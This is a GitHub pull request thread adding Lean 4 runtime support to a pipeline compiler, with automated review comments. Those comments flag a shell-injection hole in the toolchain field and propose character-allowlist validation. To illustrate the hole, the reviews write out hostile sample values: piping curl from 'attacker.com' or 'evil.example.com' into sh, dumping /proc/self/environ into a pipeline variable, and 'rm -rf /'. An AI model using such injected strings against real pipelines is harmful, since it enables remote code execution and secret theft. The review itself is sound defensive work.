feat: add Lean 4 runtime support with runtimes: front matter

[jamesadevine]

Summary

Add Lean 4 as a first-class runtime in the ado-aw compiler, introducing the runtimes: front matter field (aligned with gh-aw's runtimes: model).

When enabled via runtimes: lean:, the compiler auto-configures:

• elan installation step injected into {{ prepare_steps }} (runs before AWF sandbox)
• AWF chroot compatibility — lean/lake/elan symlinked into /tmp/awf-tools/ (AWF reconstructs PATH from standard system locations, so $HOME/.elan/bin isn't on PATH inside the sandbox)
• Bash allow-list extension — lean, lake, elan auto-added to allowed commands
• Network allowlist — Lean-specific domains added to AWF: elan.lean-lang.org, leanprover.github.io, lean-lang.org
• Agent prompt supplement informing the agent that Lean 4 is available

Architecture: Tools vs Runtimes

This PR introduces the runtimes: front matter field as a peer to tools:, with a new src/runtimes/ module alongside src/tools/ and src/safeoutputs/:

Concept	Front matter	Module	Purpose
Tools	tools:	src/tools/	Agent capabilities (edit, bash, cache-memory, azure-devops MCP)
Runtimes	runtimes:	src/runtimes/	Language environments installed before the agent runs (lean, future: python, node, etc.)
Safe outputs	safe-outputs:	src/safeoutputs/	MCP tools that serialize to NDJSON (Stage 1 → Stage 2)

Front Matter Syntax

# Simple enablement (installs latest stable toolchain)
runtimes:
  lean: true

# Pin specific toolchain version
runtimes:
  lean:
    toolchain: "leanprover/lean4:v4.29.1"

Default toolchain is stable. If a lean-toolchain file exists in the repo, elan overrides automatically.

Files Changed

File	Changes
src/runtimes/mod.rs	New module — runtime implementations docs
src/runtimes/lean.rs	LeanRuntimeConfig, LeanOptions, generate_lean_install(), generate_lean_prompt(), LEAN_BASH_COMMANDS
src/compile/types.rs	RuntimesConfig struct, runtimes field on FrontMatter, deserialization tests
src/compile/standalone.rs	Wire runtimes into prepare_steps, allowed_domains; tests
src/compile/common.rs	Auto-add lean/lake/elan to bash allow-list via generate_copilot_params(); tests
src/allowed_hosts.rs	"lean" match arm in mcp_required_hosts() + test
src/main.rs	Register runtimes module
AGENTS.md	New "Runtimes Configuration" section, runtimes: in front matter reference
examples/lean-verifier.md	Example agent using runtimes: lean:

Design Notes

• Runtimes vs tools: Lean is a language environment, not an agent capability. This mirrors gh-aw where runtimes: declares language toolchains and tools: declares agent capabilities.
• AWF chroot: AWF mounts $HOME:rw but reconstructs PATH from standard locations. The install step symlinks lean binaries into /tmp/awf-tools/ which is always on PATH inside AWF.
• Pipeline flow: The elan install step runs in {{ prepare_steps }} which executes after Docker/AWF binary download but before AWF network isolation, giving full network access for toolchain download.
• 1ES target: Bash allow-list works automatically via generate_copilot_params(); elan installation requires manual steps: front matter.

Related Issues

• docs: document the first-class tool addition pattern in AGENTS.md #206 — Document first-class tool addition pattern in AGENTS.md
• feat: network ecosystem identifiers aligned with gh-aw #207 — Network ecosystem identifiers (gh-aw alignment)

Testing

All 824 tests pass including 14 new tests covering:

• LeanRuntimeConfig deserialization (bool, object, empty options, not set, tools+runtimes together)
• generate_copilot_params with lean enabled / unrestricted bash
• generate_allowed_domains with lean enabled / disabled
• generate_prepare_steps with lean / custom toolchain / lean + memory
• mcp_required_hosts("lean") domain verification

[github-actions]

🔍 Rust PR Review

Summary: Looks good overall — well-structured feature following established patterns, with solid test coverage. One security issue needs addressing before merge.

Findings

🔒 Security Concerns

• src/compile/standalone.rs:1163-1172 — Unsanitized toolchain injected into bash script

  let toolchain = config.toolchain().unwrap_or("stable");
  format!(
      "... curl ... | sh -s -- -y --default-toolchain {}\n ...",
      toolchain
  )

  The toolchain value is user-supplied front matter and is interpolated directly into a bash script without any validation. A malicious or accidental toolchain string containing shell metacharacters (e.g., stable\necho "##vso[task.setvariable variable=X]$(cat /proc/self/environ)") could inject arbitrary commands. This is especially dangerous because {{ prepare_steps }} runs before AWF network isolation, giving full host access.

  This project already validates the model name using an explicit character allowlist ([a-zA-Z0-9._:-], common.rs:532-544). The toolchain field should get the same treatment. Valid elan toolchain strings follow the pattern stable, nightly, or leanprover/lean4:v4.29.1, which map cleanly to [a-zA-Z0-9._:/-]. A minimal fix:

  // In generate_lean_install or at compile time in standalone.rs
  let toolchain = config.toolchain().unwrap_or("stable");
  if !toolchain.chars().all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | ':' | '-' | '/')) {
      anyhow::bail!(
          "Lean toolchain '{}' contains invalid characters. \
           Only ASCII alphanumerics, '.', '_', ':', '-', and '/' are allowed.",
          toolchain
      );
  }

  Note this should be a compile-time error (return Result<String> from generate_lean_install), consistent with how generate_copilot_params handles the model name.

⚠️ Suggestions

• src/allowed_hosts.rs:114 — Semantic mismatch in mcp_required_hosts("lean")

  lean is not an MCP server — it's a first-class bash-based tool. Re-using mcp_required_hosts works but the function name is misleading for this case. azure-devops has the same pattern already, so this isn't new, but worth noting that the function could be renamed to tool_required_hosts or similar as a follow-up to avoid confusion for future contributors.

• src/compile/standalone.rs — generate_lean_install returns String, not Result<String>

  Given the toolchain validation concern above, the function signature should become fn generate_lean_install(config: &LeanToolConfig) -> Result<String> to allow returning a proper error. Currently generate_prepare_steps also returns String — the chain would need to be updated to propagate the error, but compile() already returns Result<String> so the plumbing is straightforward.

✅ What Looks Good

• The LeanToolConfig enum with #[serde(untagged)] and is_enabled() / toolchain() accessors follows exactly the pattern of CacheMemoryToolConfig and AzureDevOpsToolConfig. Very consistent.
• The filter(|l| l.is_enabled()) in standalone.rs:117 elegantly prevents the Enabled(false) case from generating steps.
• The heredoc in generate_lean_prompt() uses a quoted delimiter ('LEAN_PROMPT_EOF'), correctly preventing shell expansion of the hard-coded prompt content.
• ##vso[task.prependpath] in the install step is appropriate and hard-coded (not user-controlled), so no injection risk there.
• Test coverage is excellent — 14 tests covering all the key deserialization variants and code paths.

Generated by Rust PR Reviewer for issue #208 · ● 524.4K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid implementation following established patterns — one security concern needs addressing before merge.

Findings

🔒 Security Concerns

• src/compile/standalone.rs — generate_lean_install: unvalidated toolchain string embedded in shell script

  The toolchain value from front matter is interpolated directly into the bash step body with no sanitization:

  let toolchain = config.toolchain().unwrap_or("stable");
  format!(
      "... sh -s -- -y --default-toolchain {}\n ...",
      toolchain
  )

  A value like stable; curl (attacker.com/redacted) | base64) or leanprover/lean4:v4.29.1 && rm -rf / would be injected verbatim into the generated bash step. Note that {{ prepare_steps }} runs before AWF network isolation (confirmed in base.yml:205), so an injected outbound request wouldn't be blocked.

  The project already validates analogous user inputs: single quotes are rejected from bash commands (common.rs:518-522), and DNS characters are validated for host names (standalone.rs:~350). The same treatment should apply here.

  Suggested fix: add a compile-time validation of the toolchain string in generate_lean_install (or in compile()), accepting only the characters found in real toolchain identifiers (leanprover/lean4:v4.29.1, stable, nightly):

  fn validate_toolchain(toolchain: &str) -> Result<()> {
      if !toolchain.chars().all(|c| c.is_ascii_alphanumeric() || "/_:.-+".contains(c)) {
          anyhow::bail!(
              "Lean toolchain '{}' contains invalid characters. \
               Only alphanumerics and '/_:.-+' are allowed.",
              toolchain
          );
      }
      Ok(())
  }

  The function signature of generate_lean_install would then need to return Result<String> (matching the pattern of generate_allowed_domains).

---

⚠️ Suggestions

• src/compile/standalone.rs — lean install step emits ##vso[task.prependpath] but elan is still not on PATH for previous memory steps

  generate_prepare_steps currently emits: memory steps → lean install → user steps. The ##vso[task.prependpath] sets PATH for subsequent pipeline steps, not for subsequent commands within the same bash step. The lean --version sanity check after export PATH=... works because of the local export, but a user steps: entry that relies on lean being on PATH at the top of the step would need the ##vso[...] to have been emitted in a prior step. The current ordering satisfies this (lean install completes before user steps run), but a comment in generate_prepare_steps explaining the intentional ordering would prevent future regressions if someone reorders the parts.

• src/compile/standalone.rs:1172-1179 — generate_lean_prompt appends to agent-prompt.md without checking if the file exists

  The memory install step does the same (using cat >>), so this is consistent and will work correctly since agent-prompt.md is always created in the base template (line 152 of base.yml). Still worth a brief inline comment linking this assumption to the template, as generate_lean_install already has a note about /tmp/awf-tools/ being created by the template.

---

✅ What Looks Good

• Clean LeanToolConfig enum design mirrors CacheMemoryToolConfig/AzureDevOpsToolConfig exactly — consistent and idiomatic.
• The /tmp/awf-tools/ symlink dance for making lean/lake/elan accessible inside the AWF chroot is well-explained in the inline comment.
• Compile-time warning when tools.lean: true + tools.bash: [] is exactly the right UX — fail loudly rather than silently produce a broken pipeline.
• 14 new tests with good edge-case coverage (bool/object/empty-options/disabled/all-tools-together).
• mcp_required_hosts("lean") reuse for domain management is correct; it means network.blocked also works for lean domains out of the box.
• The lean: false / lean: {} / lean not-set deserialization tests are exactly the cases that tend to cause subtle regressions in #[serde(untagged)] enums.

Generated by Rust PR Reviewer for issue #208 · ● 672.7K · ◷

[jamesadevine]

@copilot resolve the merge conflicts in this pull request

[Copilot]

@copilot resolve the merge conflicts in this pull request

Resolved in 53b9284. The only conflict was in src/main.rs — main had removed mod proxy; (via #195) while our branch added pub mod runtimes;. The merge keeps pub mod runtimes; and drops mod proxy;. All 812 tests pass.

Warning

Firewall rules blocked me from connecting to one or more addresses (expand for details)

I tried to connect to the following addresses, but was blocked by firewall rules:

• dev.azure.com
  • Triggering command: /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-9e77bcf2d2e71c5c /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-9e77bcf2d2e71c5c 629695600986dfb-cgu.1.rcgu.o 629695600986dfb-cgu.2.rcgu.o 629695600986dfb-cgu.3.rcgu.o 629695600986dfb-cgu.4.rcgu.o lib/rustlib/x86_/home/REDACTED/work/ado-aw/ado-aw/target/debug/build/thiserror-5450ec67f6b19510/bucc 4.0a5auf066of7xfwrja6imr58t.0z2zykb.rcgu.o 4.0gkcdzb9duuc7hnhnscj6h8fh.0z2zykb.rcgu.o 4.0jsipxa86uz0pzwa64hjm0jqu.0z2zykb.rcgu.o 4.0ra48y0ite74bqcsejorw1uey.0z2zykb.rcgu.o 4.0u3zqn31yle8sp47mrc9yhq9d.0z2zykb.rcgu.o 4.10mvg0d8jxfmfenpowy0w13qn.0z2zykb.rcgu.o 4.13cqjuurfnizddqjp45lo44b0.0z2zykb.rcgu.o 4.1aokv9orsqpmm20tm2jqyvjtp.0z2zykb.rcgu.o 4.1mzwwkvb3m0pqehutvpowflfu.0z2zykb.rcgu.o 4.1qdhunc588z76jj3lqsc8naqw.0z2zykb.rcgu.o 4.1v645t33m9t5pwasbfkqx459d.0z2zykb.rcgu.o 4.1xajfyha1ioedudk8elmi75vs.0z2zykb.rcgu.o 4.1ykaavgn950lq8yv54csudjcr.0z2zykb.rcgu.o 4.1ypffiufcdbb2j4yabdre58ii.0z2zykb.rcgu.o (dns block)
  • Triggering command: /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-9e77bcf2d2e71c5c /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-9e77bcf2d2e71c5c tcp -m conntrack --ctstate INVALID,NEW -j DROP 0ec67f6b19510/bucc s/displaydoc-ed9-Wl,--version-script=/home/REDACTED/work/ado-aw/ado-aw/target/debug/de�� s/displaydoc-ed9-Wl,--no-undefined-version lib/rustlib/x86_-m64 g/de�� lib/rustlib/x86_/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/ado-aw lib/rustlib/x86_/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.ainit mbols.o fe0dd3cb6f860c.ciptables fe0dd3cb6f860c.c-w fe0dd3cb6f860c.c-t fe0dd3cb6f860c.csecurity (dns block)

If you need me to access, download, or install something from one of these locations, you can either:

• Configure Actions setup steps to set up my environment, which run before the firewall is enabled
• Add the appropriate URLs or hosts to the custom allowlist in this repository's Copilot coding agent settings (admins only)

[github-actions]

🔍 Rust PR Review

Summary: Solid feature addition, but there's one real security concern that should be addressed before merging.

---

Findings

🔒 Security Concerns

• src/runtimes/lean.rs:76 — Shell injection via unsanitized toolchain field

  The toolchain value from user-controlled front matter YAML is interpolated directly into a shell script with no validation:

  let toolchain = config.toolchain().unwrap_or("stable");
  let script = format!(
      "curl (elan.leanlang.org/redacted) -sSf | sh -s -- -y --default-toolchain {toolchain}

  A malicious front matter entry like toolchain: "stable; curl attacker.com/evil.sh | sh" would be injected verbatim into the pipeline's bash step. The compiler processes untrusted markdown inputs, so toolchain must be validated before interpolation.

  Suggested fix — add a compile-time validator (similar to how MCP names are validated with [A-Za-z_][A-Za-z0-9_]*):

  // elan toolchain identifiers are: "stable", "leanprover/lean4:v4.29.1", etc.
  fn validate_toolchain(s: &str) -> Result<()> {
      let valid = s.chars().all(|c| c.is_ascii_alphanumeric() || "/:.-_".contains(c));
      anyhow::ensure!(valid, "Invalid Lean toolchain identifier: {s:?}. \
          Toolchain must only contain alphanumerics and /:.-_");
      Ok(())
  }

  Then call this in generate_lean_install (or better, during front matter validation in the compiler).

---

⚠️ Suggestions

• src/runtimes/lean.rs:65 — LEAN_BASH_COMMANDS constant is dead code

  The constant is defined but common.rs hardcodes the same commands inline as &["lean", "lake", "elan"]. Either use LEAN_BASH_COMMANDS in common.rs (via crate::runtimes::lean::LEAN_BASH_COMMANDS) or remove the constant to avoid the divergence risk.

• src/allowed_hosts.rs:115 — Semantic mismatch: mcp_required_hosts("lean")

  mcp_required_hosts is designed for MCP server registrations. Calling it with "lean" (a language runtime, not an MCP) is semantically confusing — it implies Lean is an MCP server. The match arm works today, but it'll create confusion when someone adds a custom MCP named "lean" or when iterating on the function. A separate runtime_required_hosts() function (or even a simple constant in lean.rs) would express intent more clearly.

---

✅ What Looks Good

• The #[serde(untagged)] enum for LeanRuntimeConfig (bool vs object) is well-designed and consistent with how ToolsConfig handles cache-memory and azure-devops.
• Test coverage is thorough: deserialization variants, allowed-domain generation, prepare-steps output, and the unrestricted-bash interaction are all covered.
• The ordering of prepare steps (memory → lean install → lean prompt → user steps) is reasonable; elan installation runs before AWF network isolation, which is correct.
• The AWF chroot compatibility symlink into /tmp/awf-tools/ is a nice, well-commented workaround.
• The tools.bash: [] + runtimes.lean: true warning (emit but don't abort) follows the same convention used for workspace: repo mismatches — good consistency.

Generated by Rust PR Reviewer for issue #208 · ● 882.1K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Mostly well-executed — good architecture, solid test coverage, and clean integration with the existing toolchain. One security concern worth addressing.

Findings

🔒 Security Concerns

• src/runtimes/lean.rs:83 — toolchain injection via format! into bash script

  The user-supplied toolchain value is interpolated directly into a shell script without any validation:

  // lean.rs:80-83
  let toolchain = config.toolchain().unwrap_or("stable");
  let script = format!(
      "curl (elan.leanlang.org/redacted) -sSf | sh -s -- -y --default-toolchain {toolchain}\n..."
  );

  A toolchain value containing newlines, semicolons, $(), or other shell metacharacters would inject commands into the generated pipeline's bash: | step. For example:

  runtimes:
    lean:
      toolchain: "stable\ncurl (evil.example.com/redacted) | sh"

  This is the same class of issue the codebase already guards against: model names are validated to [a-zA-Z0-9._:-] and bash command names reject single quotes (both in common.rs). The toolchain needs analogous validation.

  Suggested fix — add a compile-time check in generate_lean_install (or in a validation pass alongside validate_front_matter_identity):

  // Lean toolchain identifiers are of the form: "stable", "leanprover/lean4:v4.29.1"
  // Reject anything outside the safe character set.
  if !toolchain.chars().all(|c| c.is_ascii_alphanumeric() || "/:.-_".contains(c)) {
      anyhow::bail!(
          "Lean toolchain '{}' contains invalid characters. \
           Only alphanumeric characters and /:.-_ are allowed.",
          toolchain
      );
  }

  Note: this also means generate_lean_install should return Result<String> rather than String so it can propagate the error at compile time.

⚠️ Suggestions

• AGENTS.md:1451-1452 — duplicate list item number 7

  The PR introduced a new item 7 but left the old "Validation" item also numbered 7. The "Validation" item should be renumbered to 8:

  -7. **New runtimes**: Add to `src/runtimes/` — extend `RuntimesConfig` in `types.rs`, wire in compilers
  -7. **Validation**: Add compile-time validation for safe outputs and permissions
  +7. **New runtimes**: Add to `src/runtimes/` — extend `RuntimesConfig` in `types.rs`, wire in compilers
  +8. **Validation**: Add compile-time validation for safe outputs and permissions

✅ What Looks Good

• The #[serde(untagged)] enum pattern for LeanRuntimeConfig (bool vs object) mirrors the existing CacheMemoryConfig / AzureDevOpsConfig design — consistent and correct.
• The lean: false case (is_enabled() → false) is properly handled: no domains added, no bash commands injected, no warning emitted. Clean.
• Heredoc in generate_lean_prompt: the 4-space indented LEAN_PROMPT_EOF is correctly resolved because the YAML block scalar strips the base indentation level — the terminator is unindented when bash actually sees it. Subtle and correct.
• Good test coverage: 14 new tests covering bool/object/empty/disabled variants, unrestricted bash interaction, domain inclusion, and the lean+memory combination.

Generated by Rust PR Reviewer for issue #208 · ● 786.9K · ◷